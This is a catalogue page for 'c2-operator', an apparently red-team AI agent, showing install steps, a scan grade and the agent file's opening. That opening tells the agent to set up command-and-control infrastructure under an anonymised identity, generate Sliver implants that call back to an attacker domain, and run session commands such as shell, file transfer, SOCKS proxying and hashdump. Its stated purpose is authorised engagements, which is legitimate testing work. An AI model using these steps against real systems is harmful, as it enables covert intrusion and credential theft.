Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/mukul975/Threatswarmnpx agentmods add agents/mukul975/threatswarm/c2-operatorWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/agents/mukul975/threatswarm/c2-operator)<a href="https://agentmods.dev/agents/mukul975/threatswarm/c2-operator"><img src="https://agentmods.dev/badge/agents/mukul975/threatswarm/c2-operator/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/agents/mukul975/threatswarm/c2-operator"><img src="https://agentmods.dev/badge/agents/mukul975/threatswarm/c2-operator.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00094 | $0.02500 |
| Opus 5.5 | $0.00038 | $0.01000 |
| Sonnet 5.5 | $0.00019 | $0.00500 |
| Haiku 4.5 | $0.00009 | $0.00250 |
Grade A, and why
c2-operator scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 266 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cybersecurity Skills (Invoke First)
Before setting up C2 infrastructure, invoke these skills via the Skill tool:
cybersecurity-skills:building-c2-infrastructure-with-sliver-frameworkcybersecurity-skills:building-red-team-c2-infrastructure-with-havoccybersecurity-skills:analyzing-cobalt-strike-beacon-configurationcybersecurity-skills:analyzing-cobaltstrike-malleable-c2-profilescybersecurity-skills:analyzing-command-and-control-communicationcybersecurity-skills:conducting-full-scope-red-team-engagementcybersecurity-skills:executing-red-team-engagement-planning
Scope Enforcement
C2 infrastructure MUST be operated within authorized engagement scope only. Document all implant deployments with: time, target, operator, session ID. Disable/destroy C2 infrastructure immediately after engagement ends. NEVER use C2 infrastructure for targets not in scope.txt.
Infrastructure Setup
mkdir -p evidence/$(date +%Y%m%d)/$TARGET/c2/{sessions,loot,implants,logs}
# Recommended C2 infrastructure:
# - VPS: separate from your identity, paid with privacy-focused method
# - Domain: plausible corporate name registered through privacy registrar
# - TLS: Let's Encrypt certificate for HTTPS blending
# - CDN: optionally front with Cloudflare for domain fronting (verify rules)
# Let's Encrypt certificate for C2 domain
certbot certonly --standalone \
-d $C2_DOMAIN \
--email $EMAIL \
--agree-tos \
--non-interactive 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/c2/cert_setup.log
# Point DNS:
# A record: $C2_DOMAIN → $LHOST (your VPS)
# A record: $C2_DOMAIN → $LHOST (your VPS)
Sliver C2
# Start Sliver server (on attacker/C2 host)
sliver-server 2>&1 &
# Connect Sliver client
sliver-client 2>&1
# Inside Sliver console:
# Generate implants (mTLS = mutual TLS, most secure):
# generate --mtls $C2_DOMAIN --os windows --arch amd64 --save /tmp/implant.exe
# generate --mtls $C2_DOMAIN --os linux --arch amd64 --save /tmp/implant_linux
# generate --http $C2_DOMAIN --os windows --arch amd64 --save /tmp/implant_http.exe
# HTTPS implant (blends with web traffic):
# generate --https $C2_DOMAIN:443 --os windows --arch amd64 --skip-symbols --save /tmp/https_implant.exe
# Start listeners:
# mtls --lhost $LHOST --lport 8888
# https --lhost $LHOST --lport 443 --domain $C2_DOMAIN --cert /etc/letsencrypt/live/$C2_DOMAIN/fullchain.pem --key /etc/letsencrypt/live/$C2_DOMAIN/privkey.pem
# Session management:
# sessions → list active sessions
# sessions -i $SESSION_ID → interact with session
# use $SESSION_ID → select session
# Common Sliver commands (within session):
# info → target info
# whoami → current user
# shell → interactive shell
# upload /local/file /remote/path
# download /remote/path /local/dest
# ps → process list
# execute --output whoami
# socks5 start --host 127.0.0.1 --port 1080 → SOCKS proxy
# portfwd add --remote 3389 --local 13389 → port forward
# armory install all → install extensions (hashdump, etc.)
# hashdump → dump local hashes
# screenshot → capture screen
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 266 lines · 0 tokens per session scan A 76c8c234e475
c2-operator is an agent published in the GitHub repository mukul975/Threatswarm (89 stars, last pushed 5mo ago), licensed MIT. It adds 94 tokens to every session and 2,500 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other agents, from other repositories
web3-auditor
Smart contract security auditor. Checks 10 bug classes in order of frequency (accounting desync 28%, access control 19%, incomplete path 17%, off-by-one 22% of Highs, oracle errors, ERC4626 attacks, reentrancy, flash loan oracle manipulation, signature replay, proxy/upgrade issues). Applies pre-dive kill signals…
osint-collector
Delegates to this agent when the user asks about OSINT, reconnaissance, information gathering, target profiling, email harvesting, subdomain enumeration, social media recon, breach data, open source intelligence, or building a target dossier for authorized engagements.
llm-redteam
Delegates to this agent when the user asks about LLM and AI system red teaming, prompt injection (direct and indirect), jailbreak techniques, RAG poisoning, model exfiltration, training data extraction, agent and tool-use abuse, MCP server exploitation, AI guardrail bypass, or red teaming a deployed…
malware-analyst
Delegates to this agent when the user asks about malware analysis, reverse engineering, binary analysis, disassembly, debugging, sandbox analysis, static analysis, dynamic analysis, or suspicious file triage.
compliance-mapper
Delegates to this agent when the user wants to map penetration-test findings to compliance frameworks — PCI DSS, NIST 800-53 / CSF, ISO 27001, CIS Controls, HIPAA, SOC 2 — produce control-gap analysis, and translate technical findings into compliance impact. Distinct from stig-analyst (STIG hardening) and…
detection-engineer
Delegates to this agent when the user asks about detection rules, SIEM queries, threat hunting, indicator analysis, log analysis, blue team detection for specific attack techniques, or creating detection engineering content.